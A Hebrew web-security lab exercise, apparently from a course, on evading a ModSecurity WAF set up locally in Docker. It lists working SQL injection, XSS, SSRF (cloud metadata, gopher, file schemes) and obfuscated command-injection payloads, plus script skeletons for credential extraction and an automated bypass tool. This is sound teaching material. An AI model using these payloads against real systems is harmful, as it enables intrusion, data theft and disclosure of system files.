עקיפת WAF לכל חולשה - תרגיל

הכנה

# הקמת סביבה עם ModSecurity CRS ברמת פרנויה 3
docker run -d --name modsec-vuln -p 8080:80 \
    -e PARANOIA=3 owasp/modsecurity-crs:apache

---

תרגיל 1 - עקיפת WAF ל-SQLi

נקודת הזרקה:

GET /products?category=electronics HTTP/1.1

השאילתה בצד השרת:

SELECT * FROM products WHERE category = 'USER_INPUT'

משימה:

1. נסו את המטענים הבאים ותעדו אילו נחסמים:
   

   ' UNION SELECT 1,2,3--
   ' UNION ALL SELECT 1,2,3--
   ' uNiOn SeLeCt 1,2,3--
   '/**/UNION/**/SELECT/**/1,2,3--
   'UNION(SELECT(1),(2),(3))--
   '/*!50000UNION*//*!50000SELECT*/1,2,3--
   'e0UNION SELECT 1,2,3--
   '%0aUNION%0aSELECT%0a1,2,3--
   

2. מצאו לפחות 3 שיטות שעוקפות את ה-WAF

3. בנו מטען שמחלץ את שם המשתמש והסיסמה מטבלת users:
   

   import requests
   
   target = "http://localhost:8080/products"
   
   bypass_payloads = [
       # השלימו - מטענים שמחלצים נתונים
   ]
   
   for payload in bypass_payloads:
       r = requests.get(target, params={"category": payload})
       print(f"[{r.status_code}] {payload[:50]}...")
       if r.status_code == 200:
           print(f"    תגובה: {r.text[:100]}...")
   

4. בנו מטען Time-based blind SQLi שמשתמש ב-BENCHMARK במקום SLEEP:
   

   ' AND IF(SUBSTRING(username,1,1)='a', BENCHMARK(10000000,SHA1('x')), 0)--
   

---

תרגיל 2 - עקיפת WAF ל-XSS

נקודת הזרקה:

<div class="search-results">
    <h2>תוצאות עבור: USER_INPUT</h2>
</div>

ה-WAF חוסם: <script>, alert, onerror, onload, <iframe>, javascript:

משימה:

1. נסו את המטענים הבאים:
   

   <svg onload=alert(1)>
   <svg/onload=alert(1)>
   <details open ontoggle=alert(1)>
   <img src=x onerror=confirm(1)>
   <input autofocus onfocus=prompt(1)>
   <marquee onstart=confirm(1)>
   <img src=x onerror=alert`1`>
   <img src=x onerror="&#97;lert(1)">
   <math><mtext><img src=x onerror=alert(1)></mtext></math>
   

2. מצאו מטען שמריץ alert(document.cookie) ועוקף את כל הפילטרים

3. כתבו מטען XSS ללא סוגריים:
   

   // רמז: throw + onerror, או location
   

4. כתבו מטען שמשתמש ב-Function constructor עם קידוד:
   

   // רמז: [].constructor.constructor('...')()
   

---

תרגיל 3 - עקיפת WAF ל-SSRF

נקודת ה-SSRF:

GET /api/fetch?url=https://example.com HTTP/1.1

השרת מבצע בקשת HTTP ל-URL שהמשתמש מספק. ה-WAF חוסם:
- 127.0.0.1
- localhost
- 169.254.169.254
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16

משימה:

1. כתבו סקריפט שמנסה ייצוגים חלופיים של 127.0.0.1:
   

   import requests
   
   target = "http://localhost:8080/api/fetch"
   
   ip_variants = [
       "http://2130706433",           # decimal
       "http://0x7f000001",           # hex
       "http://0177.0.0.1",           # octal
       "http://[::1]",                # IPv6
       "http://[::ffff:127.0.0.1]",  # IPv6 mapped
       "http://127.1",                # short form
       "http://0",                    # resolves to 0.0.0.0
       "http://0x7f.1",               # partial hex
       # הוסיפו עוד ייצוגים
   ]
   
   for url in ip_variants:
       r = requests.get(target, params={"url": url})
       status = "PASS" if r.status_code == 200 else "BLOCKED"
       print(f"[{status}] {url}")
   

2. נסו עקיפה דרך DNS:

3. הגדירו A record שמצביע ל-127.0.0.1

4. השתמשו ב-nip.io: http://127.0.0.1.nip.io

5. נסו עקיפה דרך redirect:

6. הקימו שרת שמחזיר 302 ל-http://169.254.169.254/latest/meta-data/

7. נסו סכמות URL חלופיות:
   

   file:///etc/passwd
   gopher://127.0.0.1:6379/_INFO
   dict://127.0.0.1:6379/INFO
   

---

תרגיל 4 - עקיפת WAF ל-Command Injection

נקודת הזרקה:

GET /api/ping?host=8.8.8.8 HTTP/1.1

השרת מריץ:

ping -c 4 USER_INPUT

ה-WAF חוסם: ;, |, &, `, $(, cat, ls, /etc/passwd, whoami

משימה:

1. נסו שברי פקודה חלופיים:
   

   %0a (newline)
   %0d%0a (CRLF)
   

2. נסו wildcards:
   

   8.8.8.8%0a/???/??t /???/??ss??
   

3. נסו הרחבת משתנים:
   

   8.8.8.8%0a$'\x63\x61\x74' /etc/passwd
   

4. נסו מרכאות:
   

   8.8.8.8%0ac""at /etc/passwd
   8.8.8.8%0ac''at /e''tc/p''asswd
   

5. שלבו מספר טכניקות ומצאו מטען שמריץ cat /etc/passwd:
   

   import requests
   
   target = "http://localhost:8080/api/ping"
   
   cmd_payloads = [
       # השלימו
   ]
   
   for payload in cmd_payloads:
       r = requests.get(target, params={"host": payload})
       print(f"[{r.status_code}] {payload}")
       if r.status_code == 200 and "root:" in r.text:
           print("[+] הצלחה! התוכן נחשף")
   

---

תרגיל 5 - בדיקת WAF אוטומטית

משימה:

כתבו כלי Python אוטומטי שמקבל URL ונקודת הזרקה, ומנסה באופן אוטומטי עקיפות לכל סוגי החולשות:

class AutoWAFBypass:
    def __init__(self, target_url, param_name, method='GET'):
        self.target = target_url
        self.param = param_name
        self.method = method

    def detect_vulnerability_type(self):
        """ניסיון לזהות את סוג החולשה"""
        # השלימו - שליחת מטענים בסיסיים וזיהוי לפי תגובה
        pass

    def generate_sqli_bypasses(self, base_payload):
        """יצירת מטעני SQLi עם עקיפות"""
        # השלימו
        pass

    def generate_xss_bypasses(self, base_payload):
        """יצירת מטעני XSS עם עקיפות"""
        # השלימו
        pass

    def generate_ssrf_bypasses(self, target_ip):
        """יצירת מטעני SSRF עם עקיפות"""
        # השלימו
        pass

    def generate_cmdi_bypasses(self, command):
        """יצירת מטעני Command Injection עם עקיפות"""
        # השלימו
        pass

    def run_all(self):
        """הרצת כל העקיפות"""
        vuln_type = self.detect_vulnerability_type()
        # השלימו
        pass

# שימוש
bypass = AutoWAFBypass("http://localhost:8080/search", "q")
bypass.run_all()

1. השלימו את כל המתודות
2. הוסיפו לפחות 10 מטענים לכל סוג חולשה
3. הוסיפו דיווח שמסכם: איזה מטענים עברו, באיזה status code, ומהי התגובה

---

תרגיל 6 - אתגר משולב

ה-WAF מגן על אפליקציה עם מספר נקודות חולשה:

נקודת קצה	חולשה	פרמטר
/search	XSS	q
/products	SQLi	category
/fetch	SSRF	url
/tools/ping	Command Injection	host

משימה:

1. לכל נקודת קצה, מצאו לפחות עקיפה אחת שעובדת
2. שלבו טכניקות מפרקים שונים:
3. קידוד (פרק 8.2) + תחביר חלופי (פרק זה)
4. HPP (פרק 8.3) + תחביר חלופי
5. Unicode (פרק 8.4) + תחביר חלופי
6. פרוטוקול (פרק 8.5) + תחביר חלופי
7. תעדו את כל השילובים שניסיתם ואת התוצאות
8. דרגו: איזה שילוב הכי יעיל לכל סוג חולשה?